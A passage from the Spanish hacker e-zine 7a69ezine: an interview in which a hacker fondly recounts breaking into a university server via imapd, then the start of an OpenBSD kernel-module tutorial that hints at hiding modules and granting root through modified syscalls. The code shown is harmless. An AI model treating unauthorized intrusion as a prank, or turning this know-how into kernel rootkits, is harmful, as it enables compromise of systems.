mi (inexistente) fuerza de voluntad me ha permitido concluir el documento.
En fin, conociendo el kernel un poco mejor que antes se me ocurren muchas ideas
sobre posibles experimentos, en el proceso de arranque y fuera de el. Os podria
contar muchas, muchas ideas, pero no quiero ser un "spoiler" ;). Despues de los
centenares de greps en los sources de kernel que ya os he ahorrado (aunque
quizas tanbien os haya motivado a hacer greps por vuestra cuenta) prefiero
dejaros pensar un poco, que como dicen todos los profesores de matematicas que
he conocido, "El celebro se atrofia de no usarlo", o siendo menos pesimistas,
trabaja cada vez mejor con su uso ;).

---
Tuxisuau, tuxisuau@7a69ezine.org
7a69ezine, http://www.7a69ezine.org

"How I need a drink, alcoholic of course, after the heavy chapters involving
quantum mechanics"

George Polya

*EOF*
-=( 7A69#13 )=--=( art5 )=--=( Hablamos con... NecronoiD. )=--=( QuasaR )=-


[ Hablamos con... Necronoid ]
[ Por quasar@undersec.com ]


Hola tropa.

Os voy a presentar aqui a una de esas personas que sin ser conocida como lo
prodrian ser otros, han preferido el trabajo bien hecho a la notoriedad en
este complicado mundillo. Esta vez hablamos con Necronoid, un tio de putisima
madre que lleva ya bastante tiempo en todo el fregao.

>
> Hola Nekro que tal?
>
Pues muy bien, para ser las 1:29 am ;)

>
> Bueno fiera, cuentame un poquillo, pues la preguntilla de siempre y la que
> todo el mundo lee antes o despues. Como empezo todo?
>

Bueno, mi interes por la informática apareció cuando llego el ordenador a mi
casa, allá por el 1985. De hecho mi padre compro el primer ordenador el 16
de Agosto de 1985 cuando yo tenia 6 años,un flamante cpc 664 con unidad de
disco y monitor en color y me empezó a enseñar alguna cosilla que otra.
Luego, como pasaba muchas tardes solo ,empecé a darle caña yo solo y a
leerme las tipicas Amstrad User de aquellas epocas. Recuerdo que un día, con
8 o 9 años, leí un artículo en la Amstrad User de unos pibes que habían
hackeado un banco a través de un ordenador. No se les llamaba hackers
todavía ,en esa revista al menos, pero me gusto tanto el misticismo de la
idea que me estuvo rondando por la cabeza hasta que llegue a fidonet y por
ultimo a Internet .

> Una vez en internet, tuvistes a alguien de tu tierra que te echara una
> mano o fue todo en la distancia?
>

Una vez en fidonet, conoci a mi mejor amigo, con el que monte un grupo de
Demoscene. Estamos hablando de finales del 1995. Ya había ido a alguna que
otra party y allí conocí a gente también interesada por la seguridad con la
que empecé a meterme en el tema. De aquella ya usaba linux, una Slackware
con el Kernel 1.3.5 creo recordar.Además, existian redes de BBS paralelas a
fidonet en el que el tema de la seguridad y de los virus no era "offtopic".
Esto me sirvió para entrar en Internet con las ideas bastante claras y poder
empezar a empaparme documentos con la única ayuda de la cafeina ;)

> El primer 'reventon' fue.....
>

Pues la verdad es que no lo recuerdo con certeza. Quizás, porque fueron
varios seguidos en poco tiempo. Recuerdo que fue en el 1996, quizás algun
bug del sendmail que llevaba circulando un tiempo o el del phf (si, todos
hemos sido script kiddies alguna vez ;)

> Alguna intrusion curiosa/interesante o digna de mencionar?
>

Recuerdo una que hice en la universidad en la que iba a ingresar para ver
que tal estaba de seguridad. Era un sabado por la noche, y estaba en el
canal del grupo de hack al que pertenecía y se lo dije a alguien del canal.
La maquina era un linux pelado y entre por imapd. Bueno pues fue decirle a
uno de los pibes del canal 'estoy en la maquina de mi futura universidad'
(asi con estas palabras) y al momento también estaba él en la maquina como
root. Y claro, no se nos ocurrió otra cosa que crear directorios
insultándonos el uno al otro XDDDD fue algo muy estúpido, lo reconozco, pero
nos reimos un montón. Lo curioso es que ese sabado por la noche, estaba
casualmente el administrador de esa máquina, que al ver los directorios, se
acojonó tanto que desenchufo el servidor.

Meses después, cuando ya conocia al administrador de esa máquina,
casualmente comentó en la cafeteria lo de esa intrusión como anécdota un dia
que estabamos de pellas. Teníais que haberle visto la cara cuando le dije
que habia sido yo...

> Cual piensas que son lo principales problemas de seguridad de las
> diferentes redes corportivas de las grandes empresas?
>

Quizas el desconocimiento de la importancia que tiene la seguridad
informática. Cada vez se están dando más cuenta de la importancia que tiene,
pero es triste que en muchas empresas de nivel tengas que dar tu carnet,
sonreir al segurata y pasar por el detector de metales para entrar por la
puerta cuando para entrar por internet basta con introducir ciertos
caracteres extendidos para acceder a su base de datos, por poner un ejemplo.

> Y bueno, sabiendo de esos problemas, cual es la solucion? Pasta y mas
> pasta o hay otros caminos?
>

Muchos de los problemas de seguridad de las empresas se podrían solucionar
con un a persona encargada única y exclusivamente de la seguridad de toda la
red. Por lo general, este tipo de personas además de encargarse de la
seguridad se encargan del mantenimiento de los sistemas, de las bases de
datos,etc, por lo que la seguridad queda relegada a un segundo plano por
falta de tiempo.


> Cuando estas ya en todo este mundillo, es mejor ir por cuenta propia o
> unirse a un grupillo, o una cosa intermedia....como lo hiciste?
>

Primero hay que empezar por cuenta propia, obviamente. Cuando ya se tiene un
cierto conocimiento lo mejor es entrar en un grupo para compartir ideas, al
menos, antes así funcionaba muy bien. Yo estuve en algún grupo de undernet
primero, y luego por Mayo del 96 entré en uno de los mejores grupos
españoles a mi entender, con gente de mucho nivel.Allí conocí a personas muy
interesantes con una pasión por la seguridad informática como la que yo
tenía, y me siento muy orgulloso de aquello.

> Que es de lo que te sientes mas orgulloso? algun programa, xploit?.
> Sorprendeme.
>

Quizás de haber podido entrar en uno de los mejores grupos de seguridad
desde casi sus inicios como comentaba antes. Luego el ambiente se empezó a
viciar mucho más y empezó a haber mucho mas mutismo, pero al princpio solo
éramos un grupo de gente con ganas de conocer a más gente que compartiese
nuestras mismas aficiones, sin key ni bots ni ningun tipo de restricción por
el estilo.

> Hay gente con nivel en España?
>

Claro que la hay. Quizás no como en otros países, pero hay bastante nivel.
Han existido grupos con mucho nombre e incluso tenemos a gente de nuestro
país miembro de los mejores grupos de hacking del mundo y participando
activamente en revistas y foros dedicados al tema.


> Que piensas del resto de la gente que anda de aqui para alla? Crees que el
> under español ha pegado un bajon en los ultimos tiempos?
>

Depende de como se mire. Ahora creo que hay mas movimiento en cuanto a que
existe mucha mas información pública en general, por eso es lógico que haya
más gente dedicada al tema que antes, ayudado porque es un tema que esta muy
de moda ultimamente. Me parecía impensable un documento medianamente bueno y
de nivel técnico en nuestra lengua hace unos cuantos años y ahora está
demostrado que es posible y de sobra.

Quizás lo que no me gusta tanto es el mutismo existente, tengo nostalgia de
los tiempos en los que empecé en el tema de la seguridad, en donde la gente
era mucho más abierta y sincera con respecto al tema. Esto es debido a la
moda del 'Non Disclosure', es decir, cuanto menos publiques mejor ,quédatelo
para ti y para tus colegas. La culpa la tiene la mayor repercusión que tiene
este tipo de información en Internet ahora a diferencia de años atrás, ya
que llega a más muchos más puntos diversos y puede caer en las manos
equivocadas y crearte muchos problemas, sin contar la cantidad de
scriptkiddies que existen hoy en día y que a la mínima se proclaman a si
mismos 'hackers'. Por ello aunque exista mucha más información que antes, un
porcentaje de ella es obsoleta y otro porcentaje muy alto es no público,
aunque el total publicado supera con creces el de años anteriores, al menos,
en nuestro idioma. Lo que si me gustaría resaltar, es que la gente realmente
buena técnicamente que forma el underground auténtico de nuestro país, no es
gente conocida,y se basan en su anonimato para crear herramientas
fenomenales y para tener contactos con numerosos especialistas en seguridad
muy conocidos a nivel mundial. Además, tienden a trabajar en solitario, o al
menos, la mayoria no necesitan ningún tipo de grupo o colectivo que les
ayude a seguir investigando.

En cuanto a grupos en activo, quizás no haya tanto movimiento colectivo, que
aunque todavía exista, si es cierto que no del mismo nivel que h! o apostols
en su tiempo. Yo opino que todo el potencial que antes había en los grupos
de hacking, ahora se mueve en listas de correo privadas de pocos miembros
pero de mucho nivel técnico.

> La verdad es que es dificil sacar tiempo cuando uno esta liado con
> estudios u otros menesteres. Harias esto por trabajo?
>

Pues si que lo haría por trabajo. Si es lo que más me gusta hacer, porque no
voy a permitir que me paguen por dedicarme a mi hobby?

> La verdad es que claro, hay empresas que intentan probar o ver el nivel de
> la gente, para luego fichar o no, segun empresas, a traves de ciertos
> concursos (lo llamo asi?) de seguridad donde se permite una intrusion
> etica a una maquina... que opinas de estas iniciativas?
>

Pues me parece una buena iniciativa, claro que si. Lo de fichar o no nuevos
talentos es quizás relativo, pero estarás conmigo que no cualquier ingeniero
titulado es apto para realizar un trabajo de este tipo. ¿Porque no poner a
prueba a los posibles candidatos con un concurso de este estilo? Además,
sirve para poder probar tus conocimientos en un ambiente controlado, sin
posibles problemas legales, aunque por lo general mucho más dificil que
jugar con la típica maquina alejada de la mano de dios que se puede
encontrar por Internet y que nos puede dar innumerables horas de diversión.

> Bueno, y ahora como dirian, hacia donde vamos? se complica todo cada vez
> mas?...que ocurre desde ahora hacia adelante? que nos deparara el 2002?
>

Pues me gustaria saberlo, la verdad ;) Aunque si no es en el 2002, poco a
poco se irá estabilizando el boom de la seguridad informática y pasará de
ser una moda a un trabajo como otro cualquiera.

> Interesante... una curiosidad, tu SO preferido?
>

Pues quizás tengo un apego especial al Digital Unix, porque adoro mi
AlphaStation 200, y porque todavía me falta mucho por aprender del mismo.

> Y tu libro?
>

Quizás la lectura que recuerdo con más cariño fue la de las Amstrad User,
aunque si tengo que decir un libro me decanto por los de Willian Gibson, el
Neuromante por ejemplo, aunque me gusta toda la literatura
fantástica-futurista y ciberpunk en general.

> Quasar: hazte aqui alguna pregunta que te gustaria hacerte y que no te he
> hecho....)

Puess....Cuantos ordenadores tienes y has tenido? por ejemplo

- Amstrad CPC664
- Amiga 500
- Amstrad PCW
- XT
- AT 386
- AT Pentium 90mhz
- AT K6 266mhz
- AT K7 Athlon 700mhz
- HP9000 serie 712 100mhz
- Alpha Station 200 166mhz
- Cisco 827 (que no es un ordenador pero lo quiero como a uno mas de la
familia ;)

Además en casa tenemos:

- Otra HP9000 serie 712 100mhz
- K7 Athlon 1400mhz
- Sun Ultra 10

> Bueno loco, pues un placer el haberte conocido en la con y encantado de
> volver a intercambiar unas palabrejas contigo....cuidate!.
>

Igualmente, a ver si nos vemos en alguna otra con proximamente y echamos
unas risas ;)

Estoy muerto de sueño y seguro q hay alguna que otra cosa mal expresada.Las
3:09 am, nostamal. Mañana cuando me levante a las 7:30 para mi primer dia de
curro del nuevo año me acordaré de ti ;-P

Saludos

---------------------
the NecronoiD
---------------------

*EOF*
-=( 7A69#13 )=--=( art6 )=--=( Principios para la escritura )=--=( ProdiX )=-
( de LKM en OpenBSD. )


------------------------------------------------------
------------------------------------------------------
-- Principios para la escritura de LKM en OpenBSD --
------------------------------------------------------
------------------------------------------------------

0.- Indice.
1.- Introduccion.
- Los LKM.
- Sobre el texto.
2.- LKM en OpenBSD.
- Para que OpenBSD pueda cargar modulos.
- Compilando modulos.
- Cargando modulos.
- Listando los modulos.
- Descargando modulos.
3.- Programacion de LKM.
- Tipos de LKM.
- Estructura de programacion.
4.- Ejemplos muy basicos de modulos.
- Primer ejemplo estructural, con MOD_MISC: "Hola mundo!"
- Segundo ejemplo, con MOD_SYSCALL: "mimkdir"
- Tercer ejemplo, con MOD_DEV: "ejemplodev"
5.- Ejemplos basicos de modulos.
- Pimer ejemplo: Tomando el control con los MOD_MISC: syscalls.
- Segundo ejemplo: Escondiendo un modulo.
6.- Textos recomendados y archivos importantes.
7.- Resumen a modo de despedida.



- 1.- Introduccion: -
-----------------

Los LKM, (Loadable Kernel Modules), son pequeñas (o no tan pequeñas)
funcionalidades que se añaden al kernel de forma dinamica, es decir, sin tener
la necesidad de recompilar el kernel ni reiniciar la maquina. Con los LKM
podremos, desde crear nuestro dispositivo hasta crearnos nuestro propio vfs,
pasando por la cracion/modificacion de llamadas al sistema.
¿Para que? Pues, ya adelantando un poco, con los modulos VFS podremos,
por ejemplo, hacer un modulo que monte un directorio ftp (como si de un disco
duro se tratase) o por ejemplo, con los modulos SYSCALL, podremos modificar las
llamadas al sistema para que un usuario tenga privilegios de superusuario sin
realmente tener UID 0. Pero eso si, un LKM no tiene por que ser necesariamente
programado con fines "ilegales", lo que se programe con los LKM sera en funcion
de lo que tenga en mente el programador.

El texto no es para explicar como programar LKM desde cero, es
conveniente tener en mente algunos conceptos. Para eso ya hay otros textos mas
grandes y seguro que mejor redactados que este, asi que para los que nunca
hayan programado un LKM les recomiendo que se lean otro texto (algun texto de
linux, por que sobre OpenBSD no hay nada decente excepto esto :P, cualquier
texto sobre lkm de linux nos vale) y luego acudan aqui para aprender a hacer lo
mismo en OpenBSD.


- 2.- LKM en OpenBSD. -
-------------------

a) Para que OpenBSD pueda cargar modulos:
-----------------------------------------
Para poder probar nuestros propios modulos debemos tener soporte para
LKM en el kernel y poner el securelevel a 0 (insecure mode) o -1 (permanently
insecure mode) en nuestro /etc/rc.securelevel.
Para dar soporte a LKM en el kernel solo tenemos que añadir una linea
con: "option LKM" al archivo de configuracion del kernel y volver a
compilar. Para poner el securelevel a 0, tenemos que editar el
/etc/rc.securelevel ya que, por defecto, al arrancar el sistema el securelevel
se pone a 1 y una vez que esta en uno no se puede bajar, unicamente subir, sin
reiniciar el sistema (man securelevel), por lo que despues de haber
recompilado el kernel, nos aseguramos de poner el securelevel a 0 o -1.

OpenBSD, mientras arranca tiene el securelevel a 0 y se pueden cargar,
LKM, despues, init lee el /etc/rc.securelevel y ya se cambia a -1, 1, 2 o se
queda en 0. El tema esta que con los LKM se puede troyanizar el kernel en caso
de que alguien tome UID 0, asi que teniendo el sistema con securelevel a 1 se
evita correr ese riesgo (como ya he dicho, con kern.securelevel = 1, no se
pueden cargar LKM´ s ni bajar el securelevel), por eso viene por defecto el
/etc/rc.securelevel a 1. De esta forma, si el admin quiere utilizar algun LKM,
lo que se suele hacer es cargar los modulos al inicio del sistema, antes de que
init lea el /etc/rc.securelevel y lo suba.
Tambien puede ser otra opcion quedar en /etc/rc.securelevel a 0 y
despues, una vez cargados los modulos necesarios, poner el securelevel a 1 o 2
con "sysctl -w kern.securelevel=1" poner el securelevel de forma que ya no se
puedan cargar otros LKM, pero eso ya cuando esten los modulos acabados... Por
lo que, eso que dice la gente.. "Los LKM son inseguros" es falso, tu puedes
bloquear el sistema para que no se carguen mas.
Pero como vamos a desarollar LKM's, vamos a poner el securelevel a 0,
para que podamos toquetear sin problemas en /dev/mem y /dev/kmem.

b) Compilando modulos:
----------------------
Una vez que tenemos un LKM programado, para poder usarlo solo hace
falta compilarlo y cargarlo para sacar partido a esas horas de trabajo ;D
Para compilar, lo haremos de esta manera:

--> ramblo$ gcc -O2 -Wall -D_KERNEL -I/sys -o temporal.o -c modulo.c

De esta manera se nos genera un archivo "temporal.o". Ahora hace falta
linkarlo, asi:

--> ramblo$ ld -r -o final.o temporal.o

Aqui acaba este paso.

c) Cargando modulos:
--------------------
En OpenBSD, los modos se cargan con "modload" y se hace asi, (Vamos a
linkar nuestro modulo al kernel, no creo que sea necesario especificar que se
necesitan permisos root para cargarlo).

--> ramblo# modload -e entrypoint -o output modulo_linkado

Aqui, entrypoint es la funcion principal de nuestro modulo, output es
un fichero temporal que va a usar el ld cuando linke el modulo al kernel. Si
todo va bien, nos sacara por consola "Module loaded as ID XXX" y al syslogd
un mensajito sobre el LKM mas o menos como esta linea del /var/log/messages
(No tiene que ser necesariamente asi, por donde saque el kernel los menajes
depende de como tengas configurado el syslogd, pero por defecto se saca al
/var/log/messages y a la pantalla, cosa que a veces es molesta):

--> DDB symbols added: 125748 bytes
--> ramblo# tail /var/log/messages
--> ...
--> ...
--> Aug 15 06:32:58 ramblo /bsd: DDB symbols added: 125748 bytes

d) Listando modulos:
--------------------
Para listar los modulos se hace un modstat, mas facil imposible...

--> ramblo# modstat
--> Type Id Off LoadAddr Size Info Rev Module Name
--> SYSCALL 0 210 e0aa9000 0002 e0aaa008 2 un_ejemplo
--> ramblo#

Type = Es el tipo de modulo.
Id = Es un numero de referencia, usado para cuando se
descarga.
Off = Si es un modulo de syscall, Off es el offset de la
syscall, si es un modulo de dispositivo Off es el
major number, de no ser asi, es 0.
Loadaddr = Es la direccion de memoria del modulo.
Size = Tamaño del modulo.
Info = Esta seccion depende del modulo.
Rev = Version del soporte de modulos.
Module Name = Nombre del modulo. :-)


e) Descargando modulos:
-----------------------
Para descargar un modulo: "modunload -i ID" o "modunload -n nombre",
normalmente es mas comodo escribir la ID, ya que normalmente no tendremos mas de
diez modulos cargados, y escribir "5" es mas comodo que escribir "un_ejemplo",
pero eso es cuestion de gustos...

--> ramblo# modunload -i 0
--> ramblo#


- 3.- Programacion de LKM. -
------------------------

a) Tipos de modulos:
--------------------
Hay varios tipos de modulos, cada uno indicado para una funcion:

a.1) Modulos "system call": Sirven para añadir syscalls al sistema o
modificar una syscall añadiendo la nuestra propia y haciendo que
esta llame a la antigua.
a.2) Modulos "virtual file system": Sirven para hacer VFS's...
a.3) Modulos "device driver": Para añadir nuevos pseudo-dispositivos.
a.4) Modulos "execution interpreters": Sirven para poder ejecutar
archivos que sin el modulo no se podrian ejecutar.
a.5) Modulos "miscellaneous": Son todos los modulos que no se
pueden clasificar dentro de otros tipos. Los modulos MISC, tambien
se usan para hacer modulos que pretenden implementar mas de un
tipo de modulo, o por ejemplo, cuando en un mismo modulo quieres
añadir dos syscalls. ¿Desventajas? Si, por ejemplo añades una
syscall declarando el modulo como MISC, para descargar la syscall
tienes que volver a poner todo como estaba antes a mano, si se
declarase como SYSCALL se haria automaticamente. Esto no tiene
por que ser una desventaja, ya que el programador tiene el control
total de lo que pasa...

En el texto se van a tratar unicamente los MOD_MISC MOD_SYSCALL y
MOD_DEV ya que son los mas utiles tanto para administrar un sistema como para
"desadministrarlo" ;P Aun asi, lo que mas se usaran seran los MOD_MISC ya que
con MOD_MISC lo haces todo tu y se puede conseguir tambien todo lo que se
consigue con los otros tipos de modulo. Yo entre facilidad de programacion y
control elijo control. ;)


b) Estructura de programacion:
------------------------------
Todo modulo sigue esta estructuracion: (Esto es en generico, despues
cada tipo de modulo tiene sus propios añadodos caracteriscitos, pero eso ya se
iran especificando en su momento)

b.1) Cabezeras.
b.2) Funciones especificas.
b.3) Funcion load. -\
b.4) Funcion unload. _/ (Pueden ser la misma)
b.5) Declaracion como modulo.
b.6) Funcion "entry point".


b.1) Cabezeras:
Las cabezeras necesarias para lo minimo son: (Echadles un vistazo)

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/exec.h>
#include <sys/lkm.h>

Por supuesto, iremos añadiendo mas cabezeras en funcion de lo que
vayamos usando en el modulo, pero estas cabezeras son las minimas propias de un
lkm en OpenBSD.


b.2) Funciones a parte:
Cuando hacemos un modulo, no siempre (nunca) nos basta con las
funciones minimas, se van metiendo por aqui... Por ejemplo, funciones de la
libc que queramos usar en el modulo, o simplemente funciones que querramos o
necesitemos poner... Estas funciones se pondrian aqui.


b.3) Funcion load:
Es la funcion a la que se llama cuando se carga el modulo.
La funcion puede tener el nombre que sea, pero lo usual es ponerle un
nombre del tipo NOMBREDELMODULO_load, no obstante tambien se le puede poner
un nombre arbitrario siempre y cuando se le indique el nombre elegido en la
funcion entry cuando se llame a la macro DISPATCH. (Despues

  
vermos esto)
La definicion siempre es la misma, los parametros han de ser los
mismos SIEMPRE y siempre se tiene que definir como una funcion int static, de
otra manera no funcionara. En lo que es la definicion, solo puede cambiar
el nombre de la funcion y el contenido. (Mas que nada por estandarizar el
codigo y hacerlo mas legible para otra gente)

(p.e.)
static int
xxx_load(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_LOAD) {

printf("-- Module XXX --\nModule XXX loaded.\n-- Module XXX --\
}

return 0;
}
(--)
Los parametros de la funcion son una estructura de modulo de kernel y
un int. Normalmente se pone lkm_table y cmd... cmd es como command, pues eso.
Como ya dije, lo suyo es dejar esos nombres siempre para facilitar la lectura a
quien quiera leer el modulo en un futuro.


b.4) Funcion unload:
Es la funcion en la pone lo que hace el modulo al descargarse. Por
ejemplo, en el caso de la modificacion de syscalls, es aqui donde tenemos
que encargarnos de colocar como estaba la syscall anterior.
Igual que con la fuincion "load", se le puede poner un nombre
cualquiera siempre y cuando se especifique dicho nombre a DISPATCH en la
fuincion principal. Lo normal es usar un nombre de funcion
NOMBREDELMODULO_unload.
En cuanto a la definicion de la funcion, decir lo mismo que de la de
carga, los parametros son los mismos.

(p.e.)
static int
xxx_unload(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_UNLOAD) {

printf("-- Module XXX --\nModule XXX unloaded.\n-- Module XXX -
}

return 0;
}
(--)

/*************/
NOTA: La funcion "load" y la funcion "unload" pueden ser las mismas, para eso
esta "cmd", que como ya dije, es un int y cmd == 1 si es para cargar el
modulo y cmd == 2 si es para descargarlo.

static int
carga_y_descarga(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_LOAD) { /* LKM_E_LOAD esta definido en lkm.h como 1 */

printf("-- Module XXX --\nModule XXX CARGANDOSE.\n-- Module XXX -\n");
return 0;
}

if(cmd == LKM_E_UNLOAD) { /* LKM_E_UNLOAD esta definido como 2 */

printf("-- Module XXX --\nModule XXX DESCARGANDOSE.\n-- Module XXX -
return 0;
}

return(-1)

}
/*************/


b.5) Declaracion como modulo:
La declaracion de los modulos se hace de diferente manera en funcion
del tipo de modulo que sea, se añadira antes de la definicion de la funcion
entry:

a) Para modulos tipo "system call":
MOD_SYSCALL(nombre,offset, sysentp);
(p.e.)
MOD_SYSCALL("mi_modulo", SYS_getuid, &la_syscall_sysent);
(--)
Donde: "mi_modulo" es el nombre del modulo, offset es el offset de
la syscall y sysentp es un puntero a la estructura "sysent" de la
syscall. Mas adelante, en los ejemplos se aclarara que es la estructura
sysent.


b) Para modulos tipo "virtual file system":
MOD_VFS(name,vfsslot,vfsconf);
(p.e.)
MOD_VFS("mi_modulo",vfsslot,vfsconf);
(--)
Donde: EN EL TEXTO NO VAMOS A TRATAR ESTE TIPO DE MODULOS.


c) Para modulos tipo "device driver":
MOD_DEV(name,devtype,devslot,devp);
(p.e.)
MOD_DEV("mi_modulo",devtype,devslot,devp);
(--)
Donde: "mi_modulo" es el nombre del modulo, devtype es el tipo de
dispositivo CHAR o BLOCK, devslot va a ser el "major number" del
dispositivo (si no importa se pone -1, es decir, el primero libre que
haya), y devp es la estructura de las acciones configuradas para el
dispositivo.

d) Para modulos tipo "execution interpreters":
MOD_EXEC(name,execslot,execsw);
(p.e.)
MOD_EXEC("mi_modulo",execslot,execsw);
(--)
Donde: EN EL TEXTO NO VAMOS A TRATAR ESTE TIPO DE MODULOS.


e) Para modulos tipo "miscellaneous":
MOD_MISC(name);
(p.e.)
MOD_MISC("mi_modulo");
(--)
Donde: "mi_modulo" es el nombre del modulo. Asi de simple. :-)



b.6) Funcion entry point, funcion modulo:
Esta funcion, la funcion principal por asi llamarla, la funcion "entry"
generalmente consiste en una llamada a la macro DISPATCH (definida en la
cabezera /usr/include/sys/lkm.h ). La llamo tambien funcion modulo por que
dicha funcion suele llevar el mismo nombre que el modulo en si y por que de
siempre la he llamado asi ;D.

Los argunmentos que se le pasan a DISPATCH() son:
1.- lkmtp -> Estructura del modulo. (Ver la definicion de
lkm_table en lkm.h)
2.- cmd -> Es un int (1/2/¿3?) que se usa para cuando se carga
(1) o se descarga el modulo (2).
3.- ver -> Version del LKM del sistema, en las releases no
demasiado antiguas, (al menos las que yo he usado,
2.8 2.9 y 3.0), ver==2.
4.- lkm_load -> Nombre de la funcion "load" (Cuando cmd=1)
5.- lkm_unload -> Nombre de la funcion "unload" (Cuando cmd=2)
6.- lkm_stat -> Nombre de la funcion "stat", se usa cuando por alguna
razon quieres que se haga algo al mirar el estado del
modulo, pero no suele ser util, en caso de que no se
quiera que haga nada, se puede poner lkm_nofunc :)

(p.e.)
xxx( lkmtp, cmd, ver)
struct lkm_table *lkmtp;
int cmd;
int ver;
{
DISPATCH(lkmtp, cmd, ver, xxx_load, xxx_unload, lkm_nofunc);
}
(--)




- 4.- Ejemplos muy basicos de modulos -
-------------------------------------

Bien, mas o menos ya tenemos por donde agarrar a los modulos, ahora
vamos a afirmar lo que hemos aprendido y a resolver las dudas con un par de
ejemplos, el primero, es una especie de "Hola mundo!", los demas, la verdad es
que tampoco tienen ninguna utilidad, pero ilustrativos igualmente, que es lo
que se pretende. Mas adelante en el texto iremos viendo mas ejemplos fuera de
la seccion de ejemplos de modulos. Esta parte esta hecha solo para que se vea
en la practica como es un LKM basico en OpenBSD.


a) Primer ejemplo, estructural: "Hola mundo!":
----------------------------------------------
Este modulo es como el tipico "Hola mundo!", pero como me parece muy
repetitivo eso de "Hola mundo!" he decidido poner "ColaCao original o ColaCao
Turbo?", que queda mucho mas original. Como el modulo no crea ninguna syscall
ni ningun VFS ni ningun dispositivo ni nada de nada, es decir, no es un modulo
"predefinido" vamos a declarar el modulo como de tipo "MISC". En el codigo del
modulo ire aclarando algunas cosas, pero la verdad es que si se ha leido con
atencion lo de antes no hace mucha falta aclarar nada. Aun asi, lo hare.

/*** COMIENZO DEL PROGRAMA *** lkm.c *****************************************/
/*
* Metemos las cabezeras necesarias.
*/
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/exec.h>
#include <sys/lkm.h>

/*
* Declaramos el modulo como "MISC", solo se ha de especificar el nombre,
* dicho nombre es "colacao".
*/
MOD_MISC("colacao");

/*
* Esta es la fuincion que a continuacion, al llamar a DISPATCH() decimos que
* se llame cuando se carga el modulo. Recuerdo que los parametros de la
* funcion ya los explique antes, que, por supuesto, se pueden cambiar, pero
* mejor no hacerlo por cuestiones de "legibilidad".
*/
static int
colacao_load(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_LOAD)
{
printf("-- ColaCao --\nColaCao original o ColaCao Turbo?\n-- ColaCao --\n");
}
return 0;
}

/*
* Esta es la funcion opuesta a la anterior, esta funcion sera llamada cuando
* el modulo se descarge.
*/
static int
colacao_unload(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_UNLOAD)
{
printf("-- ColaCao --\nPero si a mi me gustaban los grumitos!\n-- ColaCao --\n");
}
return 0;
}

/*
* Esta es la "entry point function", por asi decirlo es como la funcion
* main() en un programa C normal.
* Como se puede ver, aqui especificamos cuales van a ser las funciones a las
* que se llama cuando el modulo se carga (cuarto parametro), cuando el modulo
* se descarga (quinto parametro) y cuando se comprueban el estado del modulo.
*/
int
colacao( lkmtp, cmd, ver)
struct lkm_table *lkmtp;
int cmd;
int ver;
{
DISPATCH(lkmtp, cmd, ver, colacao_load, colacao_unload, lkm_nofunc);
}

/*** FIN DEL PROGRAMA ********************************************************/

Ahora compilamos, linkamos y cargamos el modulo:

--> ramblo$ gcc -O2 -Wall -D_KERNEL -I/sys -c lkm.c
--> ramblo$ ld -r -o colacao.o lkm.o
--> ramblo# modload -o colacao -ecolacao colacao.o
--> Module loaded as ID 0

El modulo en si solo saca por los mensjaes del kernel el mensajito,
asi que vamos al /var/log/messages a ver si ha funcionado...

--> ramblo# tail /var/log/messages
--> ...
--> ...
--> ...
--> Aug 16 18:12:11 ramblo /bsd: -- ColaCao --
--> Aug 16 18:12:11 ramblo /bsd: ColaCao original o ColaCao Turbo?
--> Aug 16 18:12:11 ramblo /bsd: -- ColaCao --
--> Aug 16 18:12:11 ramblo /bsd: DDB symbols added: 125748 bytes

/* Desde aqui decir que a mi me gusta mucho mas el ColaCao de toda la vida */

Aqui dice que se ha cargado... Vamos a ver si es verdad, vamos a
listar los modulos que hay cargados en el sistema con "modstat" y asi,
ver si esta nustro primer modulo en la lista :)

--> ramblo# modstat
--> Type Id Off Loadaddr Size Info Rev Module Name
--> MISC 0 0 e0972000 0002 e0973000 2 colacao

Ahi se pude ver que el modulo, ciertamente esta cargado. Si quieres ver
que significa cada cosa, recuerdo que eso ya lo dije en la segunda parte, :P
seccion "d". Bien, como el modulo es totalmente inservible y no lo queremos
para nada en el sistema, vamos a descargarlo y a ver que pasa.

--> ramblo# modunload -i 0
--> ramblo# modstat
--> Type Id Off Loadaddr Size Info Rev Module Name
--> ramblo# tail /var/log/messages
--> ...
--> ...
--> ...
--> Aug 16 18:27:58 ramblo /bsd: -- ColaCao --
--> Aug 16 18:27:58 ramblo /bsd: Pero si a mi me gustaban los grumitos!
--> Aug 16 18:27:58 ramblo /bsd: -- ColaCao --

Bien, aqui podemos ver como lo hemos descargado, hemos vuelto a listar
los modulos y no ha aparecido en la lista. Posteriormente hemos visto el
/var/log/messages y podemos ver como al igual que al cargar el modulo, imprimia
el mensajito que se le decia, al descargarlo hace lo propio tambien.
A partir de ahora, en los ejemplos solo vendra el codigo en si y los
comentarios propios de cada modulo, ya que asumo que se conoce como cargar,
listar y descargar un modulo...

b) Segundo ejemplo, con MOD_SYSCALL: "mimkdir":
-----------------------------------------------
Pues sigo con mi politica de ejemplos inservibles, vamos a hacer un
modulo que haga que cada vez que se llame a la syscall mkdir se saque por la
salida del kernel algun mensajito que diga el nombre del directorio que se va a
crear. Si, es un modulo ciertamente inutil, pero si quieres hacer un modulo
util usa tu imaginacion, aqui estamos para APRENDER a programarlos.
A ver, empezamos, la idea es que cada vez que se haga un directorio se
imprima un mensaje en la salida del kernel asi : "Creando directorio PATATIN"
asi que vamos a ver que syscall tenemos que modificar. Para ello, usando ktrace
y kdump vamos a ver las syscall a las que se llama cuando hacemos un directorio
con el comando mkdir:

--> ramblo$ ktrace mkdir /home/prodix/lalala
--> ramblo$ kdump -t c -f ktrace.out
--> 7183 ktrace RET ktrace 0
--> 7183 ktrace CALL execve(0xdfbfd6e0,0xdfbfdbd8,0xdfbfdbe4)
--> 7183 mkdir RET execve 0
--> 7183 mkdir CALL issetugid
--> 7183 mkdir RET issetugid 0
--> 7183 mkdir CALL umask(0)
--> 7183 mkdir RET umask 18/0x12
--> 7183 mkdir CALL mkdir(0xdfbfdc42,0x1ed)
--> 7183 mkdir RET mkdir 0
--> 7183 mkdir CALL exit(0)
--> ramblo$

Podemos ver que mkdir llama a unas cuantas syscalls: execve, issetugid,
